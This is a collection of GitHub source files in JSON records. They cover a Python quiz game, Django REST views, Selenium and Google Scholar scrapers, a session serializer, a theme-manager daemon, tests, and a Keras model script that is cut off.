? \",\n                          [\"zebra\", \"moose\", \"horse\", \"Okapi\"], \"3\",),\n                          Question(\"What is your body's largest organ \",\n                          [\"brain\", \"liver\", \"spleen\", \"Skin\"], \"4\",)\n                 ]\n\n    # Asks the player to enter the username.       \n    name = input(\"What is your name? \").title()\n\n    numbers=[1,2,3,4,5,6,7,8,9,10]\n\n    # Check if the name is empty, has digits, or less than three characters. If one of these condition occurs, the program will ask the user for valid name.\n    # if the name is valid, then welcoming msg will be preseted and the quiz will start.  \n    while len(name)== 0 or len(name)< 3 or name.isdigit(): \n        print(\"Enter correct name to proceed to the quiz\")\n        name=input()\n    else:\n        # Asks the number of question that user wants to take and convert it from string to int so it can be used later\n        quiz_questions = int(input(\"How many questions would you like to answer ? the maximum number of questions  is 10 \"))\n        # Check input if valid\n        while quiz_questions not in numbers:\n                print(\"you need to enter correct number of questions between 1-10\")\n                quiz_questions = int(input(\"How many questions would you like to answer ? \"))\n        else:\n            print(Welcoming.format(name=name, n=(quiz_questions)))\n            play_quiz(name, questions)\n\n    # Running the ready function, which asks if someone else wants to take the quiz. \n    # if yes the program will repeat the process for taking the quiz again. \n    # if no the results will be displayed and the program will end.\n    # The system check for the next users as well their names and their input for the number of questions the want to answer \n   \n    while competitor():\n        name = input(\"What is your name? \").title()\n        while len(name)== 0 or len(name)< 3 or name.isdigit(): \n            print(\"Enter correct name to proceed to the quiz\")\n            name=input()\n        else:\n            quiz_questions = int(input(\"How many questions would you like to answer ? \"))\n            while quiz_questions not in numbers:\n                print(\"you need to enter correct number of questions between 1-10\")\n                quiz_questions = int(input(\"How many questions would you like to answer ? \"))\n            else:\n                print(Welcoming.format(name=name, n=(quiz_questions)))  \n                play_quiz(name,questions)\n    print(\"The Quiz has end\")\n\n# Print each user name with the score.\nprint(\"Users Scores\")\nfor key,value in myDict.items():\n            print('Username:', key, ',','score:',value,\"%\")\n\n# Find the user with the highest score.\nfind_max =max(myDict, key=myDict.get)\nprint(\"User with Maximum score is\", find_max, \"with score\", myDict[find_max],\"%\")\n\n# Find the average score. \naverage= myDict.values()\naverage_score= sum(average)/len(average)\nprint(\"Average score=\", int(average_score),\"%\")\n\n","repo_name":"AsalaAljazaery/System-development-using-Python","sub_path":"source_code.py","file_name":"source_code.py","file_ext":"py","file_size_in_byte":8047,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"20902214696","text":"from django.http import HttpResponse, JsonResponse\nfrom rest_framework.parsers import JSONParser\nfrom quckie.models import Task\nfrom quckie.serializer import TaskSerializer\n\n# Create your views here.\n\ndef task_list(request):\n    \"\"\"\n    List all tasks, or create a new task.\n    \"\"\"\n    if request.method == 'GET':\n        tasks = Task.objects.all()\n        # getting the list of tasks\n        serializer = TaskSerializer(tasks, many=True)\n        # serializing the list of tasks\n        return JsonResponse(serializer.data, safe=False)\n        # json output\n    # for listing our tasks if GET request\n    \n    # for creating a new task if Post request\n    elif request.method == 'POST':\n        data = JSONParser().parse(request)\n        # parse json data from request\n        serializer = TaskSerializer(data=data)\n        # deserialize task\n        if serializer.is_valid():\n            serializer.save()\n            return JsonResponse(serializer.data, status=201)\n            #success status\n        return JsonResponse(serializer.errors, status=400)\n        # client error status\n\n\ndef task_detail(request, pk):\n    \"\"\"\n    Retrieve, update or delete a code snippet.\n    \"\"\"\n    try:\n        task = Task.objects.get(pk=pk)\n        # find task using primary key\n    except Task.DoesNotExist:\n        return HttpResponse(status=404)\n        # means didn't find particular task \n\n    if request.method == 'GET':\n        serializer = TaskSerializer(task)\n        return JsonResponse(serializer.data)\n    # to view the specific task\n\n    elif request.method == 'PUT':\n        data = JSONParser().parse(request)\n        serializer = TaskSerializer(task, data=data)\n        if serializer.is_valid():\n            serializer.save()\n            return JsonResponse(serializer.data)\n        return JsonResponse(serializer.errors, status=400)\n        # this is to update/change the specific task. can be used to mark \n        # complete the specific  task\n\n\n    elif request.method == 'DELETE':\n        task.delete()\n        return HttpResponse(status=204)\n    # delete specific task\n\n\n    \n","repo_name":"don-reji/Django-Projects","sub_path":"interview/quckie/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2085,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"1048215090","text":"from selenium import webdriver\nfrom selenium.webdriver.chrome.options import Options\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.common.exceptions import TimeoutException\nfrom bs4 import BeautifulSoup\n\nimport sys\nimport os\n\ndef main():\n    window_size = \"1200,800\"\n    timeout = 20\n    team_name = sys.argv[1]\n\n    chrome_options = Options()\n    chrome_options.binary_location = os.environ.get('GOOGLE_CHROME_SHIM', None)\n    chrome_options.add_argument(\"--window-size=%s\" % window_size)\n    chrome_options.add_argument(\"--headless\")\n    chrome_options.add_argument(\"no-sandbox\")\n\n    browser = webdriver.Chrome(chrome_options=chrome_options)\n    browser.get(\"http://www.espn.com/espn/story/_/id/21087319/soccer-teams\")\n\n    WebDriverWait(browser, timeout).until(EC.visibility_of_element_located((By.XPATH, \"//a[@id='global-search-trigger']\")))\n    browser.find_element_by_xpath(\"//a[@id='global-search-trigger']\").click()\n\n    WebDriverWait(browser, timeout).until(EC.visibility_of_element_located((By.CLASS_NAME, \"search-box\")))\n    browser.find_element_by_class_name('search-box').send_keys(team_name)\n\n    browser.implicitly_wait(2)\n\n    WebDriverWait(browser, timeout).until(EC.visibility_of_element_located((By.XPATH, \"//*[@id='global-search']/div/div/div[1]/ul\")))\n\n    search_results = browser.find_element_by_xpath(\"//*[@id='global-search']/div/div/div[1]/ul\").find_elements(By.XPATH, \".//*\")\n    found = False\n\n    for result in search_results:\n        if result.find_element_by_class_name('search_results__cat').text == 'Soccer':\n            result.find_element_by_class_name('search_results__cat').click()\n            found = True\n            break\n\n    if not found:\n        print(\"Cannot find team\")\n        browser.quit()\n        sys.exit(1)\n\n    WebDriverWait(browser, timeout).until(EC.visibility_of_element_located((By.XPATH, \"//*[@id='global-nav-secondary']/div/ul[2]/li[4]/a/span[1]\")))\n    newHtml = browser.page_source\n    url = browser.current_url\n    newSoup = BeautifulSoup(newHtml, \"html.parser\")\n    browser.find_element_by_xpath(\"//*[@id='global-nav-secondary']/div/ul[2]/li[4]/a/span[1]\").click()\n\n    browser.switch_to_window(browser.window_handles[1])\n    browser.implicitly_wait(1)\n\n\n    imageUrl = newSoup.find('article', {'class': 'news-feed-item news-feed-story-package'}).find('figure', {'class': 'feed-item-figure '}).find('div', {'class': 'img-wrap'}).find('img')['data-default-src']\n    newsTitle = newSoup.find('article', {'class': 'news-feed-item news-feed-story-package'}).find('div', {'class': 'text-container no-headlines'}).find('div', {'class': 'item-info-wrap'}).find('a').text\n    newsSubtitle = newSoup.find('article', {'class': 'news-feed-item news-feed-story-package'}).find('div', {'class': 'text-container no-headlines'}).find('div', {'class': 'item-info-wrap'}).find('p').text\n\n    print(url)\n    print(imageUrl)\n    print(newsTitle)\n    print(newsSubtitle)\n\n    browser.quit()\n    sys.exit(0)\n\nif __name__ == '__main__':\n    main()\n","repo_name":"LetsKickBot/LetsKick","sub_path":"scripts/get_team_news.py","file_name":"get_team_news.py","file_ext":"py","file_size_in_byte":3122,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"73241774407","text":"class Solution(object):\n    def twoSum(self, nums, target):\n        for i in range(len(nums)):\n            n = nums[i]\n            for x in range(i + 1,len(nums)):\n                if nums[i] + nums[x] == target:\n                    return [i,x]\n\n\n\n\nif __name__ == \"__main__\":\n    solu = Solution\n    print(solu.twoSum(solu,[0,0],0))","repo_name":"binaoye/algo","sub_path":"leetcode/TwoSum.py","file_name":"TwoSum.py","file_ext":"py","file_size_in_byte":332,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"22259341125","text":"import cStringIO\nimport cPickle\n\nfrom nagare.continuation import Tasklet\nfrom nagare.component import Component\n\n\ndef persistent_id(o, clean_callbacks, callbacks, session_data, tasklets):\n    \"\"\"An object with a ``_persistent_id`` attribute is stored into the session\n    not into the state snapshot\n\n    In:\n      - ``o`` -- object to check\n      - ``clean_callbacks`` -- do we have to forget the old callbacks?\n\n    Out:\n      - ``callbacks`` -- merge of the callbacks from all the components\n      - ``session_data`` -- dict persistent_id -> object of the objects to store into the session\n      - ``tasklets`` -- set of the serialized tasklets\n\n    Return:\n      - the persistent id or ``None``\n    \"\"\"\n    r = None\n\n    id_ = getattr(o, '_persistent_id', None)\n    if id_ is not None:\n        session_data[id_] = o\n        r = str(id_)\n\n    elif type(o) is Tasklet:\n        tasklets.add(o)\n\n    elif isinstance(o, Component):\n        callbacks.update(o.serialize_callbacks(clean_callbacks))\n\n    return r\n\n\ndef set_persistent_id(pickler, persistent_id):\n    if 'inst_persistent_id' in dir(pickler):\n        pickler.inst_persistent_id = persistent_id\n    else:\n        pickler.persistent_id = persistent_id\n\n\nclass DummyFile(object):\n    \"\"\"A write-only file that does nothing\"\"\"\n    def write(self, data):\n        pass\n\n\nclass Dummy(object):\n    def __init__(self, pickler=None, unpickler=None):\n        \"\"\"Initialization\n\n          - ``pickler`` -- pickler to use\n          - ``unpickler`` -- unpickler to use\n        \"\"\"\n        self.pickler = pickler or cPickle.Pickler\n        self.unpickler = unpickler or cPickle.Unpickler\n\n    def _dumps(self, pickler, data, clean_callbacks):\n        \"\"\"Serialize an objects graph\n\n        In:\n          - ``pickler`` -- pickler to use\n          - ``data`` -- the objects graph\n          - ``clean_callbacks`` -- do we have to forget the old callbacks?\n\n        Out:\n          - data to keep into the session\n          - data to keep into the state\n        \"\"\"\n        session_data = {}\n        tasklets = set()\n        callbacks = {}\n\n        # Serialize the objects graph and extract all the callbacks\n        set_persistent_id(pickler, lambda o: persistent_id(o, clean_callbacks, callbacks, session_data, tasklets))\n        pickler.dump(data)\n\n        return session_data, callbacks, tasklets\n\n    def dumps(self, data, clean_callbacks):\n        \"\"\"Serialize an objects graph\n\n        In:\n          - ``data`` -- the objects graph\n          - ``clean_callbacks`` -- do we have to forget the old callbacks?\n\n        Out:\n          - data kept into the session\n          - data kept into the state\n        \"\"\"\n        pickler = self.pickler(DummyFile(), protocol=-1)\n        session_data, callbacks, tasklets = self._dumps(pickler, data, clean_callbacks)\n\n        # This dummy serializer returns the data untouched\n        return None, (data, callbacks)\n\n    def loads(self, session_data, state_data):\n        \"\"\"Deserialize an objects graph\n\n        In:\n          - ``session_data`` -- data from the session\n          - ``state_data`` -- data from the state\n\n        Out:\n          - the objects graph\n          - the callbacks\n        \"\"\"\n        return state_data\n\n\nclass Pickle(Dummy):\n    def dumps(self, data, clean_callbacks):\n        \"\"\"Serialize an objects graph\n\n        In:\n          - ``data`` -- the objects graph\n          - ``clean_callbacks`` -- do we have to forget the old callbacks?\n\n        Out:\n          - data kept into the session\n          - data kept into the state\n        \"\"\"\n        f = cStringIO.StringIO()\n        pickler = self.pickler(f, protocol=-1)\n        # Pickle the data\n        session_data, callbacks, tasklets = self._dumps(pickler, data, clean_callbacks)\n\n        # Pickle the callbacks\n        set_persistent_id(pickler, lambda o: None)\n        pickler.dump(callbacks)\n\n        # Kill all the blocked tasklets, which are now serialized\n        for t in tasklets:\n            t.kill()\n\n        # The pickled data are returned\n        return session_data, f.getvalue()\n\n    def loads(self, session_data, state_data):\n        \"\"\"Deserialize an objects graph\n\n        In:\n          - ``session_data`` -- data from the session\n          - ``state_data`` -- data from the state\n\n        Out:\n          - the objects graph\n          - the callbacks\n        \"\"\"\n        p = self.unpickler(cStringIO.StringIO(state_data))\n        if session_data:\n            p.persistent_load = lambda i: session_data.get(int(i))\n\n        return p.load(), p.load()\n","repo_name":"SanchezRuizCarlosEduardo/disor","sub_path":"cifrado/web/codigo/Python/virtualenv-15.1.0/NAGARE_HOME/Lib/site-packages/nagare-0.5.1-py2.7.egg/nagare/sessions/serializer.py","file_name":"serializer.py","file_ext":"py","file_size_in_byte":4531,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"73818672649","text":"from requests import get\n\nfrom common.utils import normalize_temps\n\n\ndef get_noaa_data(lat, lng):\n    url = 'http://127.0.0.1:5000/noaa?latlon={},{}'.format(lat, lng)\n    # url = 'http://172.17.0.1:5000/noaa?latlon={},{}'.format(lat, lng)\n    data = get(url).json()\n    raw_temp_dict = data['today']['current']\n\n    return normalize_temps(\n        raw_temp_dict['fahrenheit'] if 'fahrenheit' in raw_temp_dict else False,\n        raw_temp_dict['celsius'] if 'celsius' in raw_temp_dict else False\n    )\n","repo_name":"HectorManriquez/weather-services","sub_path":"src/noaa/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":501,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"40207056091","text":"import gettext\nimport locale\nimport logging\n\nfrom time import sleep\n\n# imports from current package\nfrom ThemeManager.common import APP, LOCALE_DIR, theme_styles, _async, TMBackend\nfrom ThemeManager.DesktopTheme import desktop_theme\n\n\n# i18n\nlocale.bindtextdomain(APP, LOCALE_DIR)\ngettext.bindtextdomain(APP, LOCALE_DIR)\ngettext.textdomain(APP)\n_ = gettext.gettext\n\n# logger\nmodule_logger = logging.getLogger('ThemeManager.tm_daemon')\n\nclass TMState_monitor():\n\tdef __init__(self):\n\t\tmodule_logger.debug(\"Initiaing Theme Manager daemon.\")\n\t\tself.manager = TMBackend()\n\t\tself.theme_styles = theme_styles\n\t\tself.destop_manager = desktop_theme()\n\t\tself.last_state = 'Unknown'\n\t\n\tdef startdaemons(self):\n\t\tmodule_logger.debug(\"Initiaing state change daemon.\")\n\t\tstatechange_daemon = _async(self.on_statechange)\n\t\tstatechange_daemon()\n\t\tsleep(10)\n\t\t\n\t\tmodule_logger.debug(\"Initiaing auto-change at regular interval daemon.\")\n\t\tautouser_request_daemon = _async(self.on_autouser_request)\n\t\tautouser_request_daemon()\n\t\n\tdef on_statechange(self):\n\t\tmodule_logger.info(\"Starting to monitor state change.\")\n\t\twhile True:\n\t\t\tself.state = self.manager.get_state_info()\n\t\t\tcurrentstate = self.state['State'].lower()\n\t\t\tmodule_logger.debug(\"Now state: \"+currentstate)\n\t\t\tmodule_logger.debug(\"Old state: \"+self.last_state)\n\t\t\tif self.last_state != currentstate:\n\t\t\t\tself.last_state = currentstate\n\t\t\t\tself.nexttheme = self.manager.prep_theme_variants(self.state, self.theme_styles)\n\t\t\t\tself.destop_manager.set_desktop_theme(self.state, self.nexttheme)\n\t\t\tsleep(60)\t# check once in a minute whether the state is changed\n\t\n\tdef on_autouser_request(self):\n\t\tmodule_logger.info(\"Starting auto-change at regular interval.\")\n\t\twhile True:\n\t\t\tself.state = self.manager.get_state_info()\n\t\t\tself.nexttheme = self.manager.prep_theme_variants(self.state, self.theme_styles)\n\t\t\tself.destop_manager.set_desktop_theme(self.state, self.nexttheme)\n\t\t\tsleep(self.manager.theme_interval_in_sec)\n","repo_name":"mamolinux/theme-manager","sub_path":"src/ThemeManager/tm_daemon.py","file_name":"tm_daemon.py","file_ext":"py","file_size_in_byte":1961,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"16"}
+{"seq_id":"7928831683","text":"from http import HTTPStatus\n\nimport pytest\nfrom hamcrest import has_property, assert_that, all_of\nfrom .matchers import has_status, has_error_answer\n\n\n@pytest.mark.parametrize(\n    \"handler\",\n    [\"/\", \"/notfound\", \"/import\", \"/import\", \"/imports/test/citizens/birthdays\"]\n)\ndef test_nonexistent_handlers(client, handler):\n    assert_that(\n        client.get(handler),\n        all_of(\n            has_property(\"json\", has_error_answer()),\n            has_status(HTTPStatus.NOT_FOUND)\n        )\n    )\n\n\n@pytest.mark.parametrize(\n    \"handler\",\n    [\"/imports\", \"/imports/1/citizens/1\"]\n)\ndef test_not_allowed_methods(client, handler):\n    assert_that(\n        client.get(handler),\n        all_of(\n            has_property(\"json\", has_error_answer()),\n            has_status(HTTPStatus.METHOD_NOT_ALLOWED)\n        )\n    )\n","repo_name":"Alexxxir/citizens","sub_path":"web/citizens/tests/test_nonexistent_handlers.py","file_name":"test_nonexistent_handlers.py","file_ext":"py","file_size_in_byte":820,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"2806764930","text":"#!/usr/bin/env python\n\nimport time\nimport logging\nimport traceback\nimport schedule\nfrom random import shuffle, randint\nfrom time import sleep\nfrom datetime import datetime\nfrom typing import List, Dict\nfrom sqlalchemy.exc import IntegrityError\nfrom sqlalchemy import func\n\nfrom scraper.scholarly import search_author, search_pubs_query\n\nfrom entities.entity import Session, engine, Base\nfrom entities.publication import Publication, PublicationSchema\nfrom entities.scholar import Scholar, ScholarSchema\nfrom entities.publicationauthor import PublicationAuthor, PublicationAuthorSchema\nfrom entities.publicationcites import PublicationCites, PublicationCitesSchema\nfrom entities.totalcitations import TotalCitations, TotalCitationsSchema\n\n\n# Create all the tables\nBase.metadata.create_all(engine)\n\nlogger = logging.getLogger(__name__)\n\nlogging.basicConfig(\n    filename=\"scraper.log\",\n    filemode=\"w\",  # TODO: Change to `a` for production\n    format=\"%(asctime)s %(name)s %(levelname)s %(message)s\",\n    datefmt=\"%H:%M:%S\",\n    level=logging.INFO,\n)\n\nlogging.getLogger(\"urllib3\").setLevel(logging.WARNING)\n\n\ndef update_citations(pub_id: str, cites) -> None:\n    \"\"\"\n    Add citations to the Publication-Cites tables\n    \"\"\"\n\n    logger.info(f\"Updating citations for publication id '{pub_id}''\")\n\n    for cite in cites:\n        logger.debug(\"opening session\")\n        session = Session()\n        try:\n\n            cite.fill()\n\n            # Convert Publication object tot dict\n            try:\n                new_info = parse_article(cite)\n            except Exception as e:\n                logger.error(f\"article parsing error: {e}\")\n                traceback.print_exc()\n                continue\n\n            # Grab old value for that publication\n            old_info = (\n                PublicationSchema(many=False)\n                .dump(session.query(Publication).get(str(new_info[\"id\"])))\n                .data\n            )\n\n            # First a check is done to see if the article existed in the database already\n            # and if it didn't then all that must be done is to create a publication object and add it\n            # along with the citation reference\n            if not old_info:\n\n                # New publications is added to the database\n                publication = Publication(\n                    str(new_info[\"id\"]),\n                    new_info[\"title\"],\n                    new_info[\"citation_count\"],\n                    new_info[\"date\"],\n                    \"scraper\",\n                )\n                session.add(publication)\n\n                session.commit()  # Commiting so I don't get integrity errors\n\n                publication_cites = PublicationCites(\n                    pub_id, str(new_info[\"id\"]), \"scraper\"\n                )\n                session.add(publication_cites)\n\n                session.commit()  # Commit to prevent integrity errors\n\n                # Searching for an author returns a generator expression so\n                # we make the assumption that the first search result is the correct one\n                author = next(search_author(new_info[\"author\"])).fill()\n                author_info = parse_researcher(author)\n\n                # Filter the scholars that are meant to be parsed.\n                # Generally scholars that are added by the web app are\n                # meant to be parsed while scholars added through citations\n                # aren't set to be parsed\n                authors = (\n                    ScholarSchema(many=True)\n                    .dump(\n                        session.query(Scholar).filter(Scholar.id == author_info[\"id\"])\n                    )\n                    .data\n                )\n\n                if not authors:\n                    # Check if author is already in the database and if they aren't create a new entry\n                    # The new entry will not have a parse flag\n                    scholar = Scholar(\n                        author_info[\"id\"], author_info[\"full_name\"], False, \"citation\"\n                    )\n                    session.add(scholar)\n\n                    session.commit()  # Commit to prevent integrity errors\n\n                # Create entry for author citing publication\n                publication_author = PublicationAuthor(\n                    new_info[\"id\"], author_info[\"id\"], \"citation\"\n                )\n                session.add(publication_author)\n\n            else:\n                # Citation has been seen before\n                # Because citaiton count changes so frequently,\n                # it has to be checked and updated even for citations\n                if new_info[\"citation_count\"] == old_info[\"citation_count\"]:\n                    continue\n\n                else:\n                    # Update the citation count\n                    session.query(Publication).filter(\n                        Publication.id == new_info[\"id\"]\n                    ).update({\"cites\": new_info[\"citation_count\"]})\n\n            session.commit()\n            logger.debug(\"closing session\")\n            session.close()\n\n            # Sleep to prevent detection\n            sleep(randint(1, 10))\n\n        except Exception as e:\n            logger.error(f\"error parsing citation: '{e}''\")\n            traceback.print_exc()\n            continue\n\n    logger.info(\"end parsing of citations\")\n\n\ndef parse_article(pub) -> Dict:\n    \"\"\"\n    Convert Publication objects to dictionaries for the database\n    \"\"\"\n    logger.info(f\"parsing article '{pub.bib['title']}'\")\n\n    return {\n        \"id\": pub.id_scholarcitedby,\n        \"title\": pub.bib[\"title\"],\n        \"author\": pub.bib[\"author\"].split(\"and\")[0].strip(),\n        \"date\": datetime.now(),\n        \"citation_count\": pub.citedby,\n    }\n\n\ndef update_articles(scholar_id: str, new_articles: List) -> None:\n    \"\"\"\n    Add articles to the Publication and Publication-Cites tables\n    \"\"\"\n\n    logger.info(f\"updating articles for scholar id '{scholar_id}''\")\n\n    for article in new_articles:\n\n        try:\n\n            # Fill the object to have all necessary fields\n            # Convert the Publication objects to dictionaries for the db\n            try:\n                new_info = parse_article(article.fill())\n            except Exception as e:\n                logger.error(f\"article parsing error: {e}\")\n                traceback.print_exc()\n                continue\n\n            logger.debug(\"opening session\")\n            session = Session()\n\n            # Query the old information for that article\n            old_info = (\n                PublicationSchema(many=False)\n                .dump(session.query(Publication).get(str(new_info[\"id\"])))\n                .data\n            )\n\n            # First a check is done to see if the article existed in the database already\n            # and if it didn't then all that must be done is to create a publication object and add it\n            # Along with the accompanying citation\n            if not old_info:\n\n                # New publications is added to the database\n                publication = Publication(\n                    str(new_info[\"id\"]),\n                    new_info[\"title\"],\n                    new_info[\"citation_count\"],\n                    new_info[\"date\"],\n                    \"scraper\",\n                )\n\n                publication_author = PublicationAuthor(\n                    str(new_info[\"id\"]), scholar_id, \"scraper\"\n                )\n\n                session.add(publication)\n                session.commit()  # Commiting so I don't get integrity errors\n\n                session.add(publication_author)\n            else:\n                # Scholar has been seen before and just needs updating\n\n                if new_info[\"citation_count\"] == old_info[\"citation_count\"]:\n                    continue\n\n                else:\n                    # Update the citation count\n                    session.query(Publication).filter(\n                        Publication.id == new_info[\"id\"]\n                    ).update({\"citation_count\": new_info[\"citation_count\"]})\n        except Exception as e:\n            logger.error(f\"error parsing article: '{article.bib['title']}': {e}\")\n            traceback.print_exc()\n            continue\n\n        session.commit()\n\n        logger.debug(\"closing session\")\n        session.close()\n\n        # Give it some time to not get detected\n        sleep(randint(1, 10))\n\n        # TODO: Ideally citations should only be updated for new articles and articles with\n        #       changes in their citation count be for debugging I still updated citations for every articles.\n        #       After debugging and finalizing this code then it will be moved for efficiency.\n\n        # Update citations for the article\n        update_citations(article.id_scholarcitedby, article.get_citedby())\n\n    logger.info(\"end parsing of articles\")\n\n\ndef parse_researcher(author) -> Dict:\n    \"\"\"\n    Convert Author objects to dictionaries for the database\n    \"\"\"\n\n    logger.info(f\"parsing researcher '{author.name}'\")\n\n    return {\n        \"id\": author.id,\n        \"full_name\": author.name,\n        \"citation_count\": author.citedby,\n        \"date\": datetime.now(),\n    }\n\n\ndef update_researchers() -> None:\n    \"\"\"\n    Add authors to the Scholar, Total-Citation, and Publication-Author tables\n    \"\"\"\n\n    logger.info(\"updating researchers\")\n\n    # Start database session to retrieve which names to parse\n    logger.debug(\"opening session\")\n    session = Session()\n\n    # Filter the scholars that are meant to be parsed.\n    # Generally scholars that are added by the web app are\n    # meant to be parsed while scholars added through citations\n    # aren't set to be parsed\n    scholars = (\n        ScholarSchema(many=True)\n        .dump(session.query(Scholar).filter(Scholar.parse == True))\n        .data\n    )\n\n    # Close the current session\n    logger.debug(\"closing session\")\n    session.close()\n\n    shuffle(scholars)\n\n    for old_info in scholars:\n        try:\n            # Create database session to upload scholar data\n            logger.debug(\"opening session\")\n            session = Session()\n\n            total_citations = (\n                TotalCitationsSchema(many=False)\n                .dump(\n                    session.query(TotalCitations)\n                    .filter(TotalCitations.scholar_id == old_info[\"id\"])\n                    .group_by(TotalCitations.scholar_id)\n                    .having(func.max(TotalCitations.date))\n                    .first()\n                )\n                .data\n            )\n\n            if total_citations != []:\n                old_info = {**old_info, **(total_citations)}\n\n            # Searching for an author returns a generator expression so\n            # we make the assumption that the first search result is the correct one\n            author = next(search_author(old_info[\"full_name\"])).fill()\n            new_info = parse_researcher(author)\n\n            # First there is a check if citation_count is not a key in case this is a new scholar that's never\n            # been scaped before. If that works then there is a check to see if the citation count has changed\n            # in which case there would need to be a scrape of the publications by the author\n            if \"citation_count\" not in old_info.keys():\n                # New scholar is added to the database\n\n                try:\n                    # scholar = Scholar(new_info[\"id\"], new_info[\"full_name\"], True,\"scraper\")\n                    total_cite = TotalCitations(\n                        new_info[\"id\"], new_info[\"citation_count\"], \"scraper\"\n                    )\n\n                    # session.add(scholar)\n                    session.add(total_cite)\n\n                    # Update the publications for every author\n                    update_articles(author.id, list(author.publications))\n\n                except IntegrityError as e:\n                    logger.error(f\"Database error: {e}\")\n            else:\n                # Scholar has been seen before and just needs updating\n\n                if new_info[\"citation_count\"] == old_info[\"citation_count\"]:\n                    # Citation count is the same so nothing to do\n                    continue\n                else:\n                    # Add new entry to TotalCitations because of the change\n                    total_cite = TotalCitations(\n                        new_info[\"id\"], new_info[\"citation_count\"], \"scraper\"\n                    )\n\n                    session.add(total_cite)\n\n                    # Get the author back\n                    author = next(search_author(old_info[\"full_name\"])).fill()\n\n                    # Update the publications for every author\n                    update_articles(author.id, list(author.publications))\n\n            # Commit new changes to the database\n            session.commit()\n\n            # Close the DB connection\n            logger.debug(\"closing session\")\n            session.close()\n\n            # Give it some time to not get detected\n            sleep(randint(1, 3))\n\n        except Exception as e:\n            logger.error(f\"issue parsing researcher '{old_info['full_name']}': {e}\")\n            traceback.print_exc()\n            continue\n\n    logger.info(\"end parsing of researchers\")\n\n\ndef execute_scrape():\n    logger.info(\"begin scrape\")\n    n0 = time.time()\n\n    # Begin parsing\n    update_researchers()\n\n    n_delta = time.time() - n0\n    logger.info(f\"end scrape (time elapsed = {n_delta})\")\n\n\ndef main():\n    # Every day at 12pm, there is a scrape\n    schedule.every().day.at(\"12:00\").do(execute_scrape)\n\n    # Loop so that the scheduling task\n    # keeps on running all time.\n    while True:\n\n        # Checks whether scheduled task\n        # is pending to run or not\n        schedule.run_pending()\n        time.sleep(1)\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"jonaylor89/ScholarScraper","sub_path":"ScholarScraper/src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":13817,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"4310138680","text":"#!/usr/bin/env python3\nimport sys\nimport os\n\nos.chdir(os.path.dirname(__file__))\npyex = sys.argv[1]\ndirs = os.listdir(\"pyex_leetcode/\")\nfor py in dirs:\n    if \".py\" in py:\n        q_dir = \"queries/\" + py.replace(\".py\", \"\")\n        os.system(\"mkdir -p \" + q_dir)\n        cmd = pyex + \" -q \" + q_dir + \" -m 30 pyex_leetcode/\" + py\n        os.system(cmd)\n\n","repo_name":"spencerwuwu/py-concolic","sub_path":"run_leet_pyex.py","file_name":"run_leet_pyex.py","file_ext":"py","file_size_in_byte":353,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"13877844508","text":"#这篇使用预先编辑好的分别的train和test文件\nimport innvestigate\nimport os\n\nimport keras.activations\nimport pandas as pd\nimport numpy as np\n\nfrom keras import optimizers, losses, activations, models\nfrom keras.callbacks import ModelCheckpoint, EarlyStopping, \\\n    LearningRateScheduler, ReduceLROnPlateau\nfrom keras.layers import Dense, Input, Dropout, Convolution1D, MaxPool1D, \\\n    GlobalMaxPool1D, GlobalAveragePooling1D, \\\n    concatenate\nfrom sklearn.model_selection import train_test_split\n\nfrom sklearn.preprocessing import LabelEncoder\n\nimport matplotlib.pyplot as plt\n\nimport keras.applications.vgg16 as vgg16\nimport tensorflow as tf\n\ntf.compat.v1.disable_eager_execution()\n\nfeature_num = 41\npadding = 'same'  # valid or same\n\nbase_dir = os.path.dirname(__file__)\n\ndf_train = pd.read_csv(\"./dataset/biodeg_train.csv\", header=None)\ndf_train = df_train.sample(frac=1)\ndf_test = pd.read_csv(\"./dataset/biodeg_test.csv\", header=None)\n\ny_train = np.array(df_train[feature_num].values).astype(np.int8)\nX_train = np.array(df_train[list(range(feature_num))].values)[..., np.newaxis]\n\ny_test = np.array(df_test[feature_num].values).astype(np.int8)\nX_test = np.array(df_test[list(range(feature_num))].values)[..., np.newaxis]\n\n\n# create instance to analyze later on\ndata = (X_train,\n        y_train,\n        X_test,\n        y_test)\n\ninstance_to_test = data[2][2:9]\n\n\n# instance_to_test = test[7:8]\n\n\ndef get_model():\n    nclass = 2\n    inp = Input(shape=(feature_num, 1))\n    img_1 = Convolution1D(16, kernel_size=5, activation=activations.relu,\n                          padding=padding)(inp)\n    img_1 = Convolution1D(16, kernel_size=5, activation=activations.relu,\n                          padding=padding)(img_1)\n    img_1 = MaxPool1D(pool_size=2)(img_1)\n    img_1 = Dropout(rate=0.1)(img_1)\n    img_1 = Convolution1D(32, kernel_size=3, activation=activations.relu,\n                          padding=padding)(img_1)\n    img_1 = Convolution1D(32, kernel_size=3, activation=activations.relu,\n                          padding=padding)(img_1)\n    img_1 = MaxPool1D(pool_size=2)(img_1)\n    img_1 = Dropout(rate=0.1)(img_1)\n    img_1 = Convolution1D(32, kernel_size=3, activation=activations.relu,\n                          padding=padding)(img_1)\n    img_1 = Convolution1D(32, kernel_size=3, activation=activations.relu,\n                          padding=padding)(img_1)\n    img_1 = MaxPool1D(pool_size=2)(img_1)\n    img_1 = Dropout(rate=0.1)(img_1)\n    img_1 = Convolution1D(256, kernel_size=3, activation=activations.relu,\n                          